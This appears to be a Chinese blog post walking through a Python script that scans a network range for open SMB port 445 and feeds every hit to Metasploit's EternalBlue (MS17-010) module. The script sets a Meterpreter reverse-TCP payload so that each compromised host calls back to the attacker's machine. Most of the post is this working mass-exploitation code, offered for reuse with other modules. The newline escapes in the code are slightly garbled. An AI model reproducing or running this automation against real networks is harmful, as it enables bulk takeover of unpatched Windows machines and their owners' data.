Python腳本與Metasploit交互批量產出MS17_010 shell
- 2019 年 10 月 8 日
- 筆記
前言:
2017年5月,被稱為近10年來影響範圍最廣泛「最囂張」的WannaCry勒索病毒席捲全球,據統計,全球共有150多個國家超30萬台終端被感染,波及政府、學校、醫院、金融、航班等各行各業。 在神器Metasploit中我們利用exploit/windows/smb/ms17010eternalblue這個模塊可以對這個漏洞進行復現,但是在對內網整個網段進行漏洞驗證的時候 每次都要輸入參數的過程讓我覺得很繁瑣,於是寫下了ms17_010漏洞批量利用的腳本
實驗環境安裝:
以kali為例(安裝nmap庫): pip install nmap pip install python-nmap (如果是ubuntu 請自行安裝nmap和msf控制台)
整體代碼架構

利用nmap庫掃描:
首先,需要了解一下python一個名為nmap的第三方庫,給網絡掃描帶來了極大的便利,創建一個PortScanner()類對象,這使我們能用這個對象完成掃描操作,利用類裏面的scan()函數,將目標主機的地址和端口作為參數輸入,進行掃描,通過返回的參數來判斷主機的狀態, 以掃描百度的80端口為例:
import nmap scanner=nmap.PortScanner() //創建一個PortScanner()類對象 result=scanner.scan('183.232.231.172','80') //利用scan()函數對主機的地址和端口進行掃描 print result //輸出返回信息
返回信息:
{'nmap': {'scanstats': {'uphosts': '1', 'timestr': 'Sat Mar 16 01:44:25 2019', 'downhosts': '0', 'totalhosts': '1', 'elapsed': '18.97'}, 'scaninfo': {'tcp': {'services': '80', 'method': 'syn'}}, 'commandline': 'nmap -oX – -p 80 -sV 183.232.231.172'}, 'scan': {'183.232.231.172': {'status': {'state': 'up', 'reason': 'reset'}, 'hostnames': [{'type': '', 'name': ''}], 'vendor': {}, 'addresses': {'ipv4': '183.232.231.172'}, 'tcp': {80: {'product': 'Apache httpd', 'state': 'open', 'version': '', 'name': 'http', 'conf': '10', 'extrainfo': '', 'reason': 'syn-ack', 'cpe': 'cpe:/a:apache:httpserver'}}}}}
uphosts為1則主機存活,0表示主機沒有存活,tcp裏面的state的值可以看出端口的開放狀態, 接下來會重點用到這兩個值 判斷目標主機是否存活和445端口的狀態:
def find_target(host): target_list=[] //創建一個列表用來存放主機存活且開放445端口的列表 for target in IP(str(host))[1:]: //利用IPy類裏面的IP()庫轉換成每個單獨的ip target=str(target) scanner=nmap.PortScanner() //初始化一個PortScanner()類對象 rst=scanner.scan(target,'445') //對目標的445端口進行掃描 if rst['nmap']['scanstats']['uphosts'] == '0': //判斷目標主機是否存活 print 'Host not up:'+target //用戶交互輸出 continue state=rst['scan'][target]['tcp'][445]['state'] //記錄445端口的開放狀態 if state =='open': //進行端口狀態的判斷 target_list.append(target) //如果端口開放,將主機ip加入到列表 print str(target)+' with 445 port open, there may be a vulnerability in ms17_010' else: print str(target)+' 445 port not open!' return target_list
配置文件寫入:
def create_file(configfile,target,lhost): configfile.write('use exploit/windows/smb/ms17_010_eternalbluen') //使用ms17_010利用模塊 configfile.write('set rhost '+target+'n') //設置rhost configfile.write('set payload windows/x64/meterpreter/reverse_tcpn') //設置payload lport=4444+int(target.split('.')[-1]) //本地監聽端口根據ip地址進行計算,防止多個shell產生端口衝突的問題 configfile.write('set lport '+str(lport)+'n') //設置lport configfile.write('set lhost '+str(lhost)+'n') //設置lhost configfile.write('exploit -j -zn') //在後台且不與用戶交互運行 print "Your shell will created at "+ str(lhost) + ":"+str(lport)
因為腳本會黑掉多個靶機,不可能同時與他們交互,所以採用exploit -j -z在後台運行,並且本地監聽端口為4444+主機地址的計算方式
主函數:
利用optparse庫獲取用戶的輸入參數
def main(): parser = optparse.OptionParser('%prog -H <target> -L <lhost>') //構造optionparser的對象並且給用戶一個說明文檔 parser.add_option('-H',dest='host',type='string') //在對象中增加參數選項 parser.add_option('-L',dest='lhost',type='string') (options,args) = parser.parse_args() //調用optionparser的解析函數,解析用戶輸入的命令 host=options.host lhost=options.lhost if host == None: //用戶如果沒有輸入掃描目標,輸出說明文檔 parser.print_help() exit(0) target_list=find_target(host) //獲取開放445端口的主機 for target in target_list: //對每個主機進行循環 configfile = open('meta.rc','a') //利用文件追加的方式打開文件 create_file(configfile,target,lhost) //配置文件寫入 configfile.close() command='msfconsole -r meta.rc' //為了縮短測試時間可以將命令先寫入一個文件,然後在msf中加載它 os.system(command) //運行系統命令
進行代碼整合:

源代碼下載
演示:
靶機: 192.168.40.4(win7) 192.168.40.5(win7) 攻擊機: 192.168.40.138(kali)


查看sessions:

總結:
批量化自動腳本給網絡掃描帶來了極大的便利,此代碼注重Python和Metasploit的交互過程,可以舉一反三和其他模塊進行批量交互,有興趣的可以自行編寫.